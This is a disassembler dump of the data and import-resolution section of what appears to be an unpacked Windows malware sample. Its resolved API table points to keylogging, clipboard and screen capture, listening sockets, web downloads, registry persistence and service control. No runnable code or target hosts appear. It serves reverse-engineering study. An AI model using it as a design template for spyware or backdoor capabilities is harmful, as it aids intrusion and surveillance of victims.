0 dword_43475C dd 0 ; sub_401141+209r dword_434760 dd 20h dup(0) ; sub_401141+1F4o dword_4347E0 dd 0 dword_4347E4 dd 0 ; sub_401141+1FEw dword_4347E8 dd 0 align 10h dword_4347F0 dd 0 ; sub_401141+FFo dword_4347F4 dd 41h dup(0) dword_4348F8 dd 41h dup(0) dword_4349FC dd 0 ; sub_401141+111r dword_434A00 dd 0 dword_434A04 dd 0 ; sub_401141+CCr dword_434A08 dd 20h dup(0) ; sub_401141+B7o dword_434A88 dd 0 dword_434A8C dd 0 ; sub_401141+C1w dword_434A90 dd 0 align 8 dword_434A98 dd 1ECh dup(0) ; sub_401FAFo ... db 0 byte_435249 db 3 dup(0) ; DATA XREF: .text:off_4276E8o dd 0E13h dup(0) dword_438A98 dd 0 ; sub_401FAF+Eo ... dword_438A9C dd 0Dh dup(0) dword_438AD0 dd 2 dup(0) dword_438AD8 dd 200h dup(0) ; sub_403B79+97o ... dword_4392D8 dd 0 ; resolved to->NTDLL.ZwQuerySystemInformation ; sub_403852+65r ... dword_4392DC dd 0 ; resolved to->NTDLL.RtlRunDecodeUnicodeString ; sub_403D30+53r ... dword_4392E0 dd 200h dup(0) ; sub_403B79+AEo ... dword_439AE0 dd 0 ; resolved to->NTDLL.RtlCreateQueryDebugBuffer ; sub_403E31+85w dword_439AE4 dd 0 ; resolved to->NTDLL.RtlQueryProcessDebugInformation ; sub_403E31+92w dword_439AE8 dd 0 ; resolved to->NTDLL.RtlDestroyQueryDebugBuffer ; sub_403852+173r ... dword_439AEC dd 0 ; sub_403C9E+2Fr ... dword_439AF0 dd 0 ; sub_403B79+FFw dword_439AF4 dd 0 ; sub_403B79+105w ... dword_439AF8 dd 0 ; sub_403C9E+49r align 10h dword_439B00 dd 80h dup(0) dword_439D00 dd 80h dup(0) dword_439F00 dd 0 ; sub_404193+51r ... dword_439F04 dd 0 ; sub_4042A2+6Aw ... byte_439F08 db 0 ; DATA XREF: sub_4059CE+11Ew ; sub_4059CE+220o align 2 word_439F0A dw 0 ; DATA XREF: sub_4059CE+12Bw word_439F0C dw 0 ; DATA XREF: sub_4059CE+136w word_439F0E dw 0 ; DATA XREF: sub_4059CE+13Fw byte_439F10 db 0 ; DATA XREF: sub_4059CE+145w byte_439F11 db 0 ; DATA XREF: sub_4059CE+14Cw word_439F12 dw 0 ; DATA XREF: sub_4059CE+153w dword_439F14 dd 0 ; sub_4059CE+19Bw dword_439F18 dd 0 byte_439F1C db 0 ; DATA XREF: sub_4059CE+1B2w byte_439F1D db 0 ; DATA XREF: sub_4059CE+1C2w word_439F1E dw 0 ; DATA XREF: sub_4059CE+1D5w word_439F20 dw 0 ; DATA XREF: sub_4059CE+1E7w word_439F22 dw 0 ; DATA XREF: sub_4059CE+1DDw dword_439F24 dd 100h dup(0) dword_43A324 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40402D+F8r ... dword_43A328 dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_406217+786r ... dword_43A32C dd 5B8A3009h ; sub_406217+A08r ... dword_43A330 dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_406217+88Er ... dword_43A334 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_406217+522w ... dword_43A338 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_406217+84Fr ... dword_43A33C dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_406217+8Cw ... dword_43A340 dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_406217+1E2r ... dword_43A344 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_402402+69r ... dword_43A348 dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_406217+756r ... dword_43A34C dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_406217+46Fw ... dword_43A350 dd 71B25099h ; sub_414277+A3r dword_43A354 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_40558B+B1r ... dword_43A358 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_406217+855r dword_43A35C dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_406217+1D2r ... dword_43A360 dd 7E41F3B3h ; resolved to->USER32.GetAsyncKeyState ; sub_406217+206w ... dword_43A364 dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_406217+CAr ... dword_43A368 dd 5B897BE9h ; sub_406217+9F8r ... dword_43A36C dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40402D+8Dr ... dword_43A370 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; sub_405F16+77r ... dword_43A374 dd 7432FF6Bh ; sub_406217+C00r dword_43A378 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_406217+2D6r dword_43A37C dd 71AC1028h ; resolved to->WS2_32.accept ; sub_406217+640w ... dword_43A380 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindow ; sub_405F16+62r ... dword_43A384 dd 74327E4Dh dword_43A388 dd 5B894160h ; sub_406217+A10r ... dword_43A38C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_4059CE+228r ... dword_43A390 dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_43A394 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_406217+ADr ... dword_43A398 dd 71B2547Ah ; sub_406217+B30r ... dword_43A39C dd 5B894541h ; sub_406217+A20r ... dword_43A3A0 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_406217+298w ... dword_43A3A4 dd 5B86FDE8h ; sub_406217+9DBr ... dword_43A3A8 dd 5B86AA41h ; sub_406217+A28r ... dword_43A3AC dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_406217+BAr ... dword_43A3B0 dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_406217+3C1r ... dword_43A3B4 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_4025FE+24Dr ... dword_43A3B8 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_406217+72w ... dword_43A3BC dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40402D+45r ... dword_43A3C0 dd 5B86FEB8h ; sub_406217+9E8r ... dword_43A3C4 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_406217+82Ew ... dword_43A3C8 dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_406217+AB7r ... dword_43A3CC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40503C+16r ... dword_43A3D0 dd 5B8A5199h ; sub_40822F+72r dword_43A3D4 dd 7C864230h ; resolved to->KERNEL32.Module32First ; sub_408D49+15Cr ... dword_43A3D8 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_4059CE+76r ... dword_43A3DC dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_406217+EAr ... dword_43A3E0 dd 74344AE7h ; sub_406217+C10r dword_43A3E4 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_406217+86Ar ... dword_43A3E8 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_4021C5+219r ... dword_43A3EC dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_406217+3C9r ... dword_43A3F0 dd 73B81E3Bh ; sub_4025FE+2Br ... dword_43A3F4 dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_406217+87Ar ... dword_43A3F8 dd 5B867750h ; sub_406217+A00r ... dword_43A3FC dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_406217+2B2w ... dword_43A400 dd 71AC0B50h ; resolved to->WS2_32.getpeername ; sub_410970+E3r dword_43A404 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_406217+F2r dword_43A408 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_406217+28Bw ... dword_43A40C dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_406217+C2r ... dword_43A410 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_406217+910r ... dword_43A414 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_406217+53Cw ... dword_43A418 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_406217+1BAr ... dword_43A41C dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_406217+85Bw ... dword_43A420 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_406217+796r ... dword_43A424 dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43A428 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_408CDE+55r dword_43A42C dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_4087B6+98r dword_43A430 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_4021C5+3Dr ... dword_43A434 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40402D+25r ... dword_43A438 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_406217+448w ... dword_43A43C dd 77F16C0Ah ; resolved to->GDI32.DeleteObject ; sub_406217+496w dword_43A440 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_40195E+77r ... dword_43A444 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_406217+91Dr ... dword_43A448 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_406217+47Cw ... dword_43A44C dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_406217+6B2r ... dword_43A450 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_412B6A+EDr dword_43A454 dd 73B81B0Fh ; sub_409848+3B1Dr dword_43A458 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40402D+E2r ... dword_43A45C dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_407554+15r dword_43A460 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_403482+2Br ... dword_43A464 dd 71B2517Fh ; sub_406217+B1Br ... dword_43A468 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40558B+3C4r ... dword_43A46C dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_43A470 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_406217+848w ... dword_43A474 dd 74343318h ; sub_406217+C18r dword_43A478 dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_406217+462w ... dword_43A47C dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_404F3D+A1r ... dword_43A480 dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_406217+39Cr ... dword_43A484 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_402402+7Fr ... dword_43A488 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_406217+3B1r ... dword_43A48C dd 5B894364h ; sub_406217+A18r ... dword_43A490 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_406217+3D1r ... dword_43A494 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_406217+5D8w ... dword_43A498 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_406217+6BEr ... dword_43A49C dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_406217+619w ... dword_43A4A0 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_406217+2BFw ... dword_43A4A4 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_406217+3B9r ... dword_43A4A8 dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_406217+A6Dr ... dword_43A4AC dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_40893A+116r dword_43A4B0 dd 743527D4h ; sub_406217+BF3r dword_43A4B4 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_406217+79Er ... dword_43A4B8 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_406217+736r ... dword_43A4BC dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_408421+ABr dword_43A4C0 dd 0 dword_43A4C4 dd 5B868E65h ; sub_406217+9F0r ... dword_43A4C8 dd 743452A3h ; sub_406217+C08r dword_43A4CC dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_406217+B75r ... dword_43A4D0 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_402858+2DAr ... dword_43A4D4 dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_406217+43Bw ... dword_43A4D8 dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_406217+78Er dword_43A4DC dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_402C71+48Fr ... dword_43A4E0 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_406217+323r ... dword_43A4E4 dd 7E41C505h ; resolved to->USER32.GetKeyState ; sub_405F16+F9r ... dword_43A4E8 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_406217+633w ... dword_43A4EC dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_402858+E3r ... dword_43A4F0 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_406217+2B9r ... dword_43A4F4 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_406217+1DAr ... dword_43A4F8 dd 71B2578Ch ; sub_406217+B28r ... dword_43A4FC dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_406217+316r ... dword_43A500 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_406217+3A9r ... dword_43A504 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_406217+42Ew ... dword_43A508 dd 0CC0004h ; sub_406217+8BDw ... dword_43A50C dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_406217+872r ... dword_43A510 dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_406217+862r ... dword_43A514 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_402858+83r ... dword_43A518 dd 0 ; sub_406217+12Bw ... dword_43A51C dd 0 ; sub_406EA4+1Cr dword_43A520 dd 0 ; sub_406217:loc_40646Cw ... dword_43A524 dd 0 ; sub_406EA4+50r dword_43A528 dd 0 ; sub_406217:loc_406546w ... dword_43A52C dd 0 ; sub_406EA4+84r dword_43A530 dd 0 ; sub_406EA4:loc_406F54r dword_43A534 dd 0 ; sub_406EA4+B8r dword_43A538 dd 0 ; sub_406EA4:loc_406F88r dword_43A53C dd 0 ; sub_406EA4+ECr dword_43A540 dd 0 ; sub_406217+8D1w ... dword_43A544 dd 0 ; sub_406EA4+120r dword_43A548 dd 0 ; sub_406EA4:loc_406FF0r ... dword_43A54C dd 0 ; sub_406EA4+154r dword_43A550 dd 0 ; sub_406EA4:loc_407024r ... dword_43A554 dd 0 ; sub_406EA4+188r dword_43A558 dd 0 ; sub_406EA4:loc_407058r dword_43A55C dd 0 ; sub_406EA4+1BCr dword_43A560 dd 0 ; sub_406EA4:loc_40708Cr dword_43A564 dd 0 ; sub_406EA4+1F0r dword_43A568 dd 0 ; sub_406EA4:loc_4070C0r dword_43A56C dd 0 ; sub_406EA4+224r dword_43A570 dd 0 ; sub_406EA4:loc_4070F4r dword_43A574 dd 0 ; sub_406EA4+258r dword_43A578 dd 0 ; sub_406EA4:loc_407128r dword_43A57C dd 0 ; sub_406EA4+28Cr dword_43A580 dd 0 ; sub_406EA4:loc_40715Cr dword_43A584 dd 0 ; sub_406EA4+2C0r dword_43A588 dd 80h dup(0) dword_43A788 dd 17h dup(0) ; sub_4078AC+12Do ... dword_43A7E4 dd 0 ; sub_407BA7+5Br ... dword_43A7E8 dd 0 ; sub_407BA7+3Ew ... align 10h dword_43A7F0 dd 18h dup(0) ; sub_4080FF+12Ao dword_43A850 dd 80h dup(0) ; sub_40822F+A9o dword_43AA50 dd 80h dup(0) ; sub_4082EB+60o dword_43AC50 dd 80h dup(0) ; sub_408363+83o ... dword_43AE50 dd 80h dup(0) ; sub_408540+8Eo ... dword_43B050 dd 4 dup(0) dword_43B060 dd 0 ; sub_402C71+14Eo ... dd 7Fh dup(0) dword_43B260 dd 0 ; sub_41381B+3Ew ... dword_43B264 dd 0 ; sub_40195E:loc_401B70r ... dword_43B268 dd 0 ; sub_4119DF+A2w ... dword_43B26C dd 0 ; sub_40558B+78w ... dword_43B270 dd 0 ; sub_4100A7:loc_410124r ... dword_43B274 dd 0 ; sub_401141+269w ... byte_43B278 db 0 ; DATA XREF: sub_4096E9+57o ; sub_409848+26ACr ... align 4 dd 2935h dup(0) dword_445750 dd 0E9A8h dup(0)dword_47FDF0 dd 0 ; sub_413732+13o ... dword_47FDF4 dd 20h dup(0) dword_47FE74 dd 10h dup(0) dword_47FEB4 dd 24h dup(0) dword_47FF44 dd 0 ; sub_40FB4C+4D7w ... dword_47FF48 dd 0 dd 3 dup(0) dword_47FF58 dd 0 ; sub_401DFF+62r ... dd 5 dup(0) dword_47FF70 dd 0 ; sub_409848+9D9r dd 1Fh dup(0) dword_47FFF0 dd 0 ; sub_413941+19o dword_47FFF4 dd 2B9h dup(0) dword_480AD8 dd 2FE1h ; sub_401DFF+47o ... byte_480ADC db 0 ; DATA XREF: sub_40946D+2Ar ; sub_40946D+33o align 10h dword_480AE0 dd 0 ; sub_40FB4C:loc_40FFBCw ... dword_480AE4 dd 0 ; sub_40FB4C+40Aw dword_480AE8 dd 0 ; sub_410729+87o dword_480AEC dd 0 ; sub_41059C+119r ... dword_480AF0 dd 0 ; sub_410729+115w dword_480AF4 dd 0 ; sub_41059C+32r ... dword_480AF8 dd 0Dh dup(0) ; sub_41059C+114o ... dword_480B2C dd 0 ; sub_41059C+53r ... dd 0 dword_480B34 dd 0 align 10h dword_480B40 dd 80h dup(0) byte_480D40 db 0 ; DATA XREF: sub_411FED:loc_41204Ar ; sub_411FED+93w align 4 dword_480D44 dd 0Dh dup(0) dword_480D78 dd 101h dup(0) ; .text:00414F44o ... dword_48117C dd 0 dword_481180 dd 0 dword_481184 dd 2 ; sub_41A039r ... dword_481188 dd 0A28h ; .text:004186FDw dword_48118C dd 501h dword_481190 dd 5 ; sub_41A039+9r ... dword_481194 dd 1 dword_481198 dd 1 ; sub_41DF17+8Fw dword_48119C dd 323270h ; sub_40FB4C+314r ... dd 0 dword_4811A4 dd 323290h ; sub_41DCE4:loc_41DD95r ... dd 3 dup(0) off_4811B4 dd offset aCM_unpackerPac ; DATA XREF: sub_41DF17+37w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4811BC db 0 ; DATA XREF: sub_418350+35w ; sub_41B0EE+5r align 10h dword_4811C0 dd 0 dword_4811C4 dd 0 ; sub_418350+C1w dword_4811C8 dd 0 ; sub_41DCE4:loc_41DCF6r ... align 10h dword_4811D0 dd 0 align 10h dword_4811E0 dd 144BA0h, 0FFFFFFFFh, 4 dup(0) ; .text:off_432538o dword_4811F8 dd 144BC8h, 0FFFFFFFFh, 4 dup(0)dword_481210 dd 144BF0h, 0FFFFFFFFh, 4 dup(0) dd 144C18h, 0FFFFFFFFh, 4 dup(0) dword_481240 dd 144C40h, 0FFFFFFFFh, 4 dup(0) dd 144C68h, 0FFFFFFFFh, 4 dup(0) db 90h db 4Ch, 14h, 0 dd 0FFFFFFFFh, 4 dup(0) dword_481288 dd 144CB8h, 0FFFFFFFFh, 4 dup(0)dword_4812A0 dd 144CE0h, 0FFFFFFFFh, 4 dup(0) dd 144D08h, 0FFFFFFFFh, 4 dup(0) dd 144D30h, 0FFFFFFFFh, 4 dup(0) dword_4812E8 dd 144D58h, 0FFFFFFFFh, 4 dup(0) dd 144D80h, 0FFFFFFFFh, 4 dup(0) dd 144DA8h, 0FFFFFFFFh, 4 dup(0) dword_481330 dd 0 dword_481334 dd 0 ; sub_417003+147r ... dword_481338 dd 0 ; sub_41C5A4:loc_41C5CDw ... dword_48133C dd 1 ; sub_41C1A9+31w ... dd 2 dup(0) dword_481348 dd 1 ; sub_41D36B+1Dw ... dword_48134C dd 0 aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41DF17+23o ; .text:off_4811B4o align 4 dd 3Ah dup(0) byte_481454 db 0 ; DATA XREF: sub_41DF17:loc_41DF2Ew align 4 dword_481458 dd 1 ; sub_41DFB9+24w ... dword_48145C dd 1 ; sub_41E950+2Ew ... dword_481460 dd 0 ; .text:off_432D8Co ... dword_481464 dd 0 dword_481468 dd 0 dd 0Bh dup(0) dword_481498 dd 0 ; sub_41E950+14Ar ... dd 3 dup(0) dword_4814A8 dd 0 ; sub_41C1A9+272r ... dd 0Ah dup(0) dword_4814D4 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount ; sub_41EFD0+39w ... dword_4814D8 dd 0 dword_4814DC dd 0 dword_4814E0 dd 77C2807Ch ; sub_42055D+182r ... dword_4814E4 dd 0 ; resolved to->USER32.MessageBoxA ; sub_4207EB+38w ... dword_4814E8 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_4207EB:loc_4208B0r dword_4814EC dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_4207EB+D6r dword_4814F0 dd 0 ; resolved to->USER32.GetProcessWindowStation ; sub_4207EB:loc_42086Br dword_4814F4 dd 0 ; resolved to->USER32.GetUserObjectInformationA ; sub_4207EB+9Cr dd 30h dup(0) dword_4815B8 dd 0 dword_4815BC dd 0 ; sub_4213F3+87r dword_4815C0 dd 0 ; sub_4213F3+4Dr dword_4815C4 dd 0 ; sub_4213F3+40r dword_4815C8 dd 0 ; sub_4213F3+5Ar dd 4 dup(0) dword_4815DC dd 0 ; sub_421A4A+31w ... dword_4815E0 dd 0 ; sub_421CFA+2Ew ... dword_4815E4 dd 0 dword_4815E8 dd 0 dword_4815EC dd 0 dword_4815F0 dd 20h ; sub_41B454+Fr ... align 10h dword_481600 dd 321F20h ; sub_41AD93+5Br ... dword_481604 dd 3Fh dup(0) dword_481700 dd 0 ; sub_41CFD4+87r ... dword_481704 dd 323048h ; sub_41D166:loc_41D1A5r ... dword_481708 dd 0 ; sub_41D1D5+F5w ... dd 5 dup(0) byte_481720 db 0 ; DATA XREF: sub_41CFAB+6o ; sub_41D1D5+55o ... byte_481721 db 0 ; DATA XREF: sub_41809F+5Er ; sub_41CFD4+107w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_481824 dd 4E4h ; sub_41CFD4+19r ... align 10h word_481830 dw 0 ; DATA XREF: sub_41CFAB+1Fo ; sub_41D1D5+10Co ... align 10h byte_481840 db 0 ; DATA XREF: sub_41CFD4:loc_41D0E9w ; sub_41CFD4:loc_41D106w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_481940 dd 324428h ; sub_41AF67+51r ... dd 7 dup(0) dword_481960 dd 400h dup(0) ; .text:00432660o dword_482960 dd 200h ; sub_41B045r ... dword_482964 dd 0 ; sub_41A27A+21Cr ... dword_482968 dd 0 ; sub_41A24Fr ... dword_48296C dd 0 ; sub_41A24F+8r ... dword_482970 dd 0 ; sub_417003+6Cr ... dword_482974 dd 0 ; sub_41A27A+300w ... dword_482978 dd 0 ; sub_41A592+5r ... dword_48297C dd 0 ; sub_41A27A+249r ... dword_482980 dd 320000h ; sub_416D78+5Dr ... dword_482984 dd 1 ; sub_416D78+Fr ... dword_482988 dd 142340h ; sub_41DC7B+Fr ... dword_48298C dd 1 dword_482990 dd 324C34h ; sub_418350:loc_4183AAr ... dword_482994 dd 324C30h ; sub_418350+62r ... dword_482998 dd 1 ; sub_41D4BB+11w ... align 800h _text ends ; Section 3. (virtual address 00084000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00084000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 484000h dd 80h dup(0) align 1000h _idata2 ends end start